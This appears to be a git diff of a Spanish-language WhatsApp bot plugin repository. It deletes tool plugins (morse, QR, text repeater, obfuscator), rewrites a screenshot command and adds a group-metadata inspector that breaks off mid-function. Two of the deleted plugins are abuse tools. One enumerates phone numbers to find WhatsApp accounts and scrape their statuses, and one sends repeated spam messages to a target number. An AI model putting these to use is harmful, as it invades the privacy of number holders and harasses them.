-return conn.reply(m.chat, `${mg}🔣 𝘾𝙊𝘿𝙄𝘾𝙊 𝙈𝙊𝙍𝙎𝙀 𝘾𝙊𝘿𝙄𝙁𝙄𝘾𝘼𝙍/𝘿𝙀𝘾𝙊𝘿𝙄𝙁𝙄𝘾𝘼𝙍\n\n𝙋𝘼𝙍𝘼 𝘾𝙊𝘿𝙄𝙁𝙄𝘾𝘼𝙍 𝙐𝙎𝙀 *:* 𝙏𝙊 𝙀𝙉𝘾𝙊𝘿𝙀 𝙐𝙎𝙀n*${usedPrefix}${command} codificar Hola*\n\n𝙋𝘼𝙍𝘼 𝘿𝙀𝘾𝙊𝘿𝙄𝙁𝙄𝘾𝘼𝙍 𝙐𝙎𝙀 *:* 𝙏𝙊 𝘿𝙀𝘾𝙊𝘿𝙀 𝙐𝙎𝙀\n*${usedPrefix}${command} decodificar •••• --- •-•• •- / --• •- - •-*\n*${usedPrefix}${command} decodificar •••• • •-•• •-•• --- / --• •- - •-*`, fkontak, m)
-}}
-
-handler.help = ["morse"].map(v => v + " ")
-handler.tags = ["tools"]
-
-handler.command = /^(morse|morce)/i
-handler.level = 1
-handler.limit = 3
-handler.register = true
-
-export default handler
diff --git a/plugins/herramientas-nowa.js b/plugins/herramientas-nowa.js
deleted file mode 100644
index 8d988ee57..000000000
--- a/plugins/herramientas-nowa.js
+++ /dev/null
@@ -1,26 +0,0 @@
-/*---------------------------------------------------------------------------------------
- 🍀 • By https://github.com/ALBERTO9883
- 🍀 • ⚘Alberto Y Ashly⚘
------------------------------------------------------------------------------------------*/
-let handler = async (m, { conn, text, usedPrefix, command }) => {
-let regex = /x/g
-if (!text) throw '⚠️ 𝙔 𝙚𝙡 𝙣𝙪́𝙢𝙚𝙧𝙤🤔'
-if (!text.match(regex)) throw `*𝑬𝒋𝒆𝒎𝒑𝒍𝒐 𝒅𝒆𝒍 𝒖𝒔𝒐: ${usedPrefix + command} 521999340434x*`
-let random = text.match(regex).length, total = Math.pow(10, random), array = []
-for (let i = 0; i < total; i++) {
-let list = [...i.toString().padStart(random, '0')]
-let result = text.replace(regex, () => list.shift()) + '@s.whatsapp.net'
-if (await conn.onWhatsApp(result).then(v => (v[0] || {}).exists)) {
-let info = await conn.fetchStatus(result).catch(_ => {})
-array.push({ exists: true, jid: result, ...info })
-} else {
-array.push({ exists: false, jid: result })
-}}
-let txt = '𝑹𝒆𝒈𝒊𝒔𝒕𝒓𝒂𝒅𝒐\n\n' + array.filter(v => v.exists).map(v => `• 𝑵𝒖́𝒎𝒆𝒓𝒐: wa.me/${v.jid.split('@')[0]}\n*• 𝑫𝒆𝒔𝒄:* ${v.status || 'Sin descripcion'}\n*• 𝑭𝒆𝒄𝒉𝒂:* ${formatDate(v.setAt)}`).join('\n\n') + '\n\n*𝑵𝒐 𝒓𝒆𝒈𝒊𝒔𝒕𝒓𝒂𝒅𝒐*\n\n' + array.filter(v => !v.exists).map(v => v.jid.split('@')[0]).join('\n')
-m.reply(txt)
-}
-handler.command = /^nowa$/i
-export default handler
-function formatDate(n, locale = 'id') {
-let d = new Date(n)
-return d.toLocaleDateString(locale, { timeZone: 'Asia/Jakarta' })}
diff --git a/plugins/herramientas-obfuscator.js b/plugins/herramientas-obfuscator.js
deleted file mode 100644
index e00eca8b6..000000000
--- a/plugins/herramientas-obfuscator.js
+++ /dev/null
@@ -1,12 +0,0 @@
-import JavaScriptObfuscator from 'javascript-obfuscator'
-
-let handler = async(m, { conn, text }) => {
-if (!text) return m.reply("*Ingresa el codigo que vas a ofuscar.*")
-function obfuscateCode(code) {
- return JavaScriptObfuscator.obfuscate(code, { compact: false, controlFlowFlattening: true, deadCodeInjection: true, simplify: true, numbersToExpressions: true }).getObfuscatedCode();
-}
-let obfuscatedCode = await obfuscateCode(text);
-conn.sendMessage(m.chat, {text: obfuscatedCode}, {quoted: m});
-}
-handler.command = /^(ofuscar|ofuscador)$/i
-export default handler
diff --git a/plugins/herramientas-qrcode.js b/plugins/herramientas-qrcode.js
deleted file mode 100644
index af4696214..000000000
--- a/plugins/herramientas-qrcode.js
+++ /dev/null
@@ -1,11 +0,0 @@
-import { toDataURL } from 'qrcode'
-let handler = async (m, { text, conn }) => {
-if (!text) throw `${mg}𝑬𝒔𝒄𝒓𝒊𝒃𝒂 𝒖𝒏 𝒕𝒆𝒙𝒕𝒐 𝒑𝒂𝒓𝒂 𝒄𝒐𝒏𝒗𝒆𝒓𝒕𝒊𝒓 𝒆𝒍 𝒄𝒐́𝒅𝒊𝒈𝒐 𝑸𝑹`
-conn.sendFile(m.chat, await toDataURL(text.slice(0, 2048), { scale: 8 }), 'qrcode.png', wm, m)
-}
-handler.help = ['', 'code'].map(v => 'qr' + v + ' ')
-handler.tags = ['tools']
-handler.command = /^qr(code)?$/i
-handler.limit = 1
-handler.register = true
-export default handler
diff --git a/plugins/herramientas-readmore.js b/plugins/herramientas-readmore.js
deleted file mode 100644
index a887a925d..000000000
--- a/plugins/herramientas-readmore.js
+++ /dev/null
@@ -1,15 +0,0 @@
-let handler = async (m, { conn, text }) => {
-let [l, r] = text.split`|`
-if (!l) l = ''
-if (!r) r = ''
-conn.reply(m.chat, l + readMore + r, m)
-}
-handler.help = ['readmore', 'spoiler'].map(v => v + ' |')
-handler.tags = ['tools']
-handler.command = /^(spoiler|hidetext|readmore|selengkapnya)$/i
-handler.limit = 1
-handler.register = true
-export default handler
-
-const more = String.fromCharCode(8206)
-const readMore = more.repeat(4001)
diff --git a/plugins/herramientas-repetir.js b/plugins/herramientas-repetir.js
deleted file mode 100644
index d0ebad24a..000000000
--- a/plugins/herramientas-repetir.js
+++ /dev/null
@@ -1,1023 +0,0 @@
-let handler = async (m, { conn, text }) => {
-
- if (!text) return conn.reply(m.chat, 'Por favor ingrese el texto para repetir!', m)
-
- conn.reply(m.chat, `
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-${text}
-`.trim(), m)
-}
-handler.help = ['repeat ']
-handler.tags = ['tools']
-handler.command = /^(repeat|repetir)$/i
-handler.owner = false
-handler.mods = false
-handler.premium = false
-handler.group = false
-handler.private = false
-
-handler.admin = false
-handler.botAdmin = false
-
-handler.fail = null
-handler.limit = true
-
-export default handler
diff --git a/plugins/herramientas-spamwa.js b/plugins/herramientas-spamwa.js
deleted file mode 100644
index 4827c9b20..000000000
--- a/plugins/herramientas-spamwa.js
+++ /dev/null
@@ -1,43 +0,0 @@
-let handler = async (m, { conn, text, usedPrefix, command }) => {
-
-let time = global.db.data.users[m.sender].lastrob + 7200000
-if (new Date - global.db.data.users[m.sender].lastrob < 7200000) throw `*⏱️ ESPERA ${msToTime(time - new Date())}\n NO USER ESTE COMANDO CON UN MAL USO\n (wey por que no van vos hacerle spam a esta persona???? y no me use a mi para tu pinche pendejada)*`
-let [nomor, pesan, jumlah] = text.split('|')
-if (!nomor) throw `${mg}𝑰𝒏𝒈𝒓𝒆𝒔𝒂 𝒆𝒍 𝒏𝒖́𝒎𝒆𝒓𝒐 𝒑𝒂𝒓𝒂 𝒆𝒍 𝒔𝒑𝒂𝒎\n*❊ ${usedPrefix + command} numero|texto|cantidad*\n𝑬𝒋𝒆𝒎𝒑𝒍𝒐\n*❊ ${usedPrefix + command} 999999999999|Holaaa|35*`
-if (!pesan) throw `${mg}𝑰𝒏𝒈𝒓𝒆𝒔𝒂 𝒆𝒍 𝒏𝒖́𝒎𝒆𝒓𝒐 𝒑𝒂𝒓𝒂 𝒆𝒍 𝒔𝒑𝒂𝒎\n*❊ ${usedPrefix + command} numero|texto|cantidad*\n𝑬𝒋𝒆𝒎𝒑𝒍𝒐\n*❊ ${usedPrefix + command} 999999999999|Holaaa|35*`
-if (jumlah && isNaN(jumlah)) throw `𝑳𝒂 𝒄𝒂𝒏𝒕𝒊𝒅𝒂𝒅 𝒅𝒆𝒃𝒆 𝒅𝒆 𝒊𝒓 𝒆𝒍 𝒏𝒖́𝒎𝒆𝒓𝒐 𝒂𝒍 𝒒𝒖𝒆 𝒔𝒆 𝒍𝒆 𝒉𝒂𝒓𝒂́ 𝒔𝒑𝒂𝒎\n*❊ ${usedPrefix + command} numero|texto|cantidad*\n𝑬𝒋𝒆𝒎𝒑𝒍𝒐\n*❊ ${usedPrefix + command} 999999999999|Holaaa|35*`
-await delay(10000)
-let fixedNumber = nomor.replace(/[-+<>@]/g, '').replace(/ +/g, '').replace(/^[0]/g, '62') + '@s.whatsapp.net'
-await delay(10000)
-let fixedJumlah = jumlah ? jumlah * 1 : 10
-if (fixedJumlah > 5) throw `${fg}𝑴𝒊́𝒏𝒊𝒎𝒐 *5* 𝒎𝒆𝒏𝒔𝒂𝒋𝒆 𝒑𝒂𝒓𝒂 𝒉𝒂𝒄𝒆𝒓 𝒔𝒑𝒂𝒎`
-await delay(10000)
-await m.reply(`${eg}𝑬𝒍 𝒔𝒑𝒂𝒎 𝒔𝒆 𝒆𝒏𝒗𝒊𝒐́ *${fixedJumlah}* 𝑽𝒆𝒄𝒆𝒔 𝒂 *${nomor}*`)
-await delay(10000)
-for (let i = fixedJumlah; i > 1; i--) {
-await delay(10000)
-if (i !== 0) conn.reply(fixedNumber, pesan.trim(), m)
-}
-global.db.data.users[m.sender].lastrob = new Date * 1
-}
-handler.help = ['spamwa ||']
-handler.tags = ['General']
-handler.command = /^spam(wa)?$/i
-handler.group = false
-handler.premium = false
-handler.private = true
-handler.level = 45
-handler.limit = 280
-handler.register = true
-export default handler
-const delay = time => new Promise(res => setTimeout(res, time))
-
-function msToTime(duration) {
-var milliseconds = parseInt((duration % 1000) / 100),
-seconds = Math.floor((duration / 1000) % 60),
-minutes = Math.floor((duration / (1000 * 60)) % 60),
-hours = Math.floor((duration / (1000 * 60 * 60)) % 24)
-hours = (hours < 10) ? "0" + hours : hours
-minutes = (minutes < 10) ? "0" + minutes : minutes
-seconds = (seconds < 10) ? "0" + seconds : seconds
-return hours + " Hora(s) " + minutes + " Minuto(s)"}
diff --git a/plugins/herramientas-ssweb.js b/plugins/herramientas-ssweb.js
index 99f90bc1e..c41f27de0 100644
--- a/plugins/herramientas-ssweb.js
+++ b/plugins/herramientas-ssweb.js
@@ -1,14 +1,18 @@
import fetch from 'node-fetch'
let handler = async (m, { conn, command, args }) => {
-let full = /f$/i.test(command)
-if (!args[0]) return conn.reply(m.chat, '*𝑰𝒏𝒈𝒓𝒆𝒔𝒂 𝒖𝒏 𝒖𝒓𝒍 𝒅𝒆 𝒍𝒂 𝒑𝒂́𝒈𝒊𝒏𝒂 𝒂 𝒍𝒂 𝒒𝒖𝒆 𝒔𝒆 𝒕𝒐𝒎𝒂𝒓𝒂́ 𝒄𝒂𝒑𝒕𝒖𝒓𝒂 🔎*', m)
-let url = /https?:\/\//.test(args[0]) ? args[0] : 'https://' + args[0]
-let ss = await (await fetch(global.API('nrtm', '/api/ssweb', { delay: 1000, url, full }))).buffer()
-conn.sendFile(m.chat, ss, 'error.png', url, m)
-}
-handler.help = ['ss', 'ssf'].map(v => v + ' ')
-handler.tags = ['internet']
+if (!args[0]) return m.reply(`⚠️ 𝐈𝐧𝐠𝐫𝐞𝐬𝐚 𝐮𝐧 𝐥𝐢𝐧𝐤 𝐩𝐚𝐫𝐚 𝐬𝐚𝐜𝐚𝐫 𝐜𝐚𝐩𝐭𝐮𝐫𝐚, ej: https://skyultraplus.com`)
+await m.react('⌛')
+try {
+let ss = await (await fetch(`https://api.dorratz.com/ssweb?url=${args[0]}`)).buffer()
+conn.sendFile(m.chat, ss, 'error.png', '✅', m)
+await m.react('✅')
+} catch {
+handler.limit = false
+await m.react('❌')
+}}
+handler.help = ['ss', 'ssweb'].map(v => v + ' **')
+handler.tags = ['tools']
handler.command = /^ss(web)?f?$/i
-handler.limit = 3
-handler.register = true
-export default handler
+handler.register = true
+handler.limit = 1
+export default handler
\ No newline at end of file
diff --git a/plugins/herramientas-styletext.js b/plugins/herramientas-styletext.js
deleted file mode 100644
index bf00d65fd..000000000
--- a/plugins/herramientas-styletext.js
+++ /dev/null
@@ -1,26 +0,0 @@
-import fetch from 'node-fetch'
-import { JSDOM } from 'jsdom'
-let handler = async (m, { conn, text }) => {
-conn.reply(m.chat, Object.entries(await stylizeText(text ? text : m.quoted && m.quoted.text ? m.quoted.text : m.text)).map(([name, value]) => `*${name}*\n${value}`).join`\n\n`, m)
-}
-handler.help = ['style'].map(v => v + ' ')
-handler.tags = ['tools']
-handler.command = /^(style(text)?)$/i
-handler.exp = 0
-handler.limit = 3
-handler.register = true
-export default handler
-
-async function stylizeText(text) {
-let res = await fetch('http://qaz.wtf/u/convert.cgi?text=' + encodeURIComponent(text))
-let html = await res.text()
-let dom = new JSDOM(html)
-let table = dom.window.document.querySelector('table').children[0].children
-let obj = {}
-for (let tr of table) {
-let name = tr.querySelector('.aname').innerHTML
-let content = tr.children[1].textContent.replace(/^\n/, '').replace(/\n$/, '')
-obj[name + (obj[name] ? ' Reversed' : '')] = content
-}
-return obj
-}
diff --git a/plugins/herramientas-subirestado.js b/plugins/herramientas-subirestado.js
deleted file mode 100644
index d1523fe53..000000000
--- a/plugins/herramientas-subirestado.js
+++ /dev/null
@@ -1,40 +0,0 @@
-const colors = [
- 0xff26c4dc, 0xff792138,
- 0xff8b6990, 0xfff0b330,
- 0xffae8774, 0xff5696ff,
- 0xffff7b6b, 0xff57c9ff,
- 0xff243640, 0xffb6b327,
- 0xffc69fcc, 0xff54c265,
- 0xff6e257e, 0xffc1a03f,
- 0xff90a841, 0xff7acba5,
- 0xff8294ca, 0xffa62c71,
- 0xffff8a8c, 0xff7e90a3,
- 0xff74676a
-]
-let handler = async (m, { conn, text }) => {
- let _m = Promise.resolve({ key: { id: '' }})
- if (!m.quoted && !text) throw '*_Ingrese un texto o reponda a algun archivo multimedia_*'
- if (m.quoted && m.quoted.mtype !== 'conversation' && !text) _m = m.quoted.forward('status@broadcast')
- if (m.quoted && m.quoted.mtype === 'conversation' && !text) _m = conn.sendMessage('status@broadcast', {
- text: m.quoted.text,
- textArgb: 0xffffffff,
- backgroundArgb: pickRandom(colors)
- }, 'extendedTextMessage')
- if (!m.quoted && text) _m = conn.sendMessage('status@broadcast', {
- text,
- textArgb: 0xffffffff,
- backgroundArgb: pickRandom(colors)
- }, 'extendedTextMessage')
- if (m.quoted && text) _m = conn.forwardMessage('status@broadcast', await m.quoted.cMod('status@broadcast', text))
- //m.reply((await _m).key.id)
- m.reply('*✅ Estado subido con exito, agenda en tu lista de contactos el número del Bot y pide al propietario del Bot que te agregue a sus contactos para que puedas ver los estados*')
- }
-handler.help = ['subirestado']
-handler.tags = ['General']
-handler.command = /^subirestado$/i
-handler.register = false
-export default handler
-
-function pickRandom(arr) {
- return arr[Math.floor(Math.random() * arr.length)]
-}
diff --git a/plugins/herramientas-superinspect.js b/plugins/herramientas-superinspect.js
new file mode 100644
index 000000000..a7676efc2
--- /dev/null
+++ b/plugins/herramientas-superinspect.js
@@ -0,0 +1,266 @@
+// Código adaptado por https://github.com/GataNina-Li
+// Código compatible con canales y comunidades de WhatsApp
+
+import { getUrlFromDirectPath } from "@whiskeysockets/baileys";
+import _ from "lodash";
+import axios from 'axios';
+
+let handler = async (m, { conn, command, usedPrefix, args, text, groupMetadata, isOwner, isROwner }) => {
+let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
+const channelUrl = text?.match(/(?:https:\/\/)?(?:www\.)?(?:chat\.|wa\.)?whatsapp\.com\/(?:channel\/|joinchat\/)?([0-9A-Za-z]{22,24})/i)?.[1];
+let txtBotAdminCh = '\n\n> *Verifique que el Bot sea admin en el canal, de lo contrario no funcionará el comando*';
+let thumb = m.pp
+let pp, ch, q, mime, buffer, media, inviteUrlch, imageBuffer;
+
+let inviteCode
+if (!text) return await m.reply(`*⚠️ Ingrese un enlace de un grupo/comunidad/canal de WhatsApp para obtener información.*`)
+const MetadataGroupInfo = async (res, isInviteInfo = false) => {
+let nameCommunity = "no pertenece a ninguna Comunidad"
+let groupPicture = "No se pudo obtener"
+
+if (res.linkedParent) {
+let linkedGroupMeta = await conn.groupMetadata(res.linkedParent).catch(e => { return null })
+nameCommunity = linkedGroupMeta ? "\n" + ("`Nombre:` " + linkedGroupMeta.subject || "") : nameCommunity
+}
+pp = await conn.profilePictureUrl(res.id, 'image').catch(e => { return null })
+inviteCode = await conn.groupInviteCode(m.chat).catch(e => { return null })
+const formatParticipants = (participants) =>
+participants && participants.length > 0
+? participants.map((user, i) => `${i + 1}. @${user.id?.split("@")[0]}${user.admin === "superadmin" ? " (superadmin)" : user.admin === "admin" ? " (admin)" : ""}`).join("\n")
+: "No encontrado"
+let caption = `🆔 *Identificador del grupo:*\n${res.id || "No encontrado"}\n\n` +
+`👑 *Creado por:*\n${res.owner ? `@${res.owner?.split("@")[0]}` : "No encontrado"} ${res.creation ? `el ${formatDate(res.creation)}` : "(Fecha no encontrada)"}\n\n` +
+`🏷️ *Nombre:*\n${res.subject || "No encontrado"}\n\n` +
+`✏️ *Nombre cambiado por:*\n${res.subjectOwner ? `@${res.subjectOwner?.split("@")[0]}` : "No encontrado"} ${res.subjectTime ? `el ${formatDate(res.subjectTime)}` : "(Fecha no encontrada)"}\n\n` +
+`📄 *Descripción:*\n${res.desc || "No encontrado"}\n\n` +
+`📝 *Descripción cambiado por:*\n${res.descOwner ? `@${res.descOwner?.split("@")[0]}` : "No encontrado"}\n\n` +
+`🗃️ *Id de la descripción:*\n${res.descId || "No encontrado"}\n\n` +
+`🖼️ *Imagen del grupo:*\n${pp ? pp : groupPicture}\n\n` +
+`💫 *Autor:*\n${res.author || "No encontrado"}\n\n` +
+`🎫 *Código de invitación:*\n${res.inviteCode || inviteCode || "No disponible"}\n\n` +
+`⌛ *Duración:*\n${res.ephemeralDuration !== undefined ? `${res.ephemeralDuration} segundos` : "Desconocido"}\n\n` +
+`🛃 *Admins:*\n` + (res.participants && res.participants.length > 0 ? res.participants.filter(user => user.admin === "admin" || user.admin === "superadmin").map((user, i) => `${i + 1}. @${user.id?.split("@")[0]}${user.admin === "superadmin" ? " (superadmin)" : " (admin)"}`).join("\n") : "No encontrado") + `\n\n` +
+`🔰 *Usuarios en total:*\n${res.size || "Cantidad no encontrada"}\n\n` +
+`✨ *Información avanzada* ✨\n\n🔎 *Comunidad vinculada al grupo:*\n${res.isCommunity ? "Este grupo es un chat de avisos" : `${res.linkedParent ? "`Id:` " + res.linkedParent : "Este grupo"} ${nameCommunity}`}\n\n` +
+`⚠️ *Restricciones:* ${res.restrict ? "✅" : "❌"}\n` +
+`📢 *Anuncios:* ${res.announce ? "✅" : "❌"}\n` +
+`🏘️ *¿Es comunidad?:* ${res.isCommunity ? "✅" : "❌"}\n` +
+`📯 *¿Es anuncio de comunidad?:* ${res.isCommunityAnnounce ? "✅" : "❌"}\n` +
+`🤝 *Tiene aprobación de miembros:* ${res.joinApprovalMode ? "✅" : "❌"}\n` +
+`🆕 *Puede Agregar futuros miembros:* ${res.memberAddMode ? "✅" : "❌"}\n\n`
+return caption.trim()
+}
+
+const inviteGroupInfo = async (groupData) => {
+const { id, subject, subjectOwner, subjectTime, size, creation, owner, desc, descId, linkedParent, restrict, announce, isCommunity, isCommunityAnnounce, joinApprovalMode, memberAddMode, ephemeralDuration } = groupData
+let nameCommunity = "no pertenece a ninguna Comunidad"
+let groupPicture = "No se pudo obtener"
+if (linkedParent) {
+let linkedGroupMeta = await conn.groupMetadata(linkedParent).catch(e => { return null })
+nameCommunity = linkedGroupMeta ? "\n" + ("`Nombre:` " + linkedGroupMeta.subject || "") : nameCommunity
+}
